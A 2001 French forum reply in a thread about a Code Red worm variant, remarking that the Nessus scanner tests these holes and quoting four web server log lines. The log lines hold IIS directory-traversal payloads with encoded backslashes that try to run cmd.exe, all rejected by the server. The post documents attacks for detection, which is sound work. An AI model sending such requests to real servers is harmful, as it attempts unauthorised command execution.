Re: Detection d'attaques de vers.

Retourner au contenu associé (dépêche : Nouveau Vers: Code Red le retour)

[^] # Re: Detection d'attaques de vers.

Posté par Benoît Sibaud (site web personnel) le 19 septembre 2001 à 11:03. En réponse à la dépêche Nouveau Vers: Code Red le retour. Évalué à 0.

Nessus teste ses failles-là.

Exemples:
X.X.X.X - - [17/Sep/2001:08:06:02 +0200] "GET /cgi-bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 264
X.X.X.X - - [17/Sep/2001:08:06:02 +0200] "GET /..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 256
X.X.X.X - - [17/Sep/2001:08:06:02 +0200] "GET /..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 400 227
X.X.X.X - - [17/Sep/2001:08:06:03 +0200] "GET /..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 400 227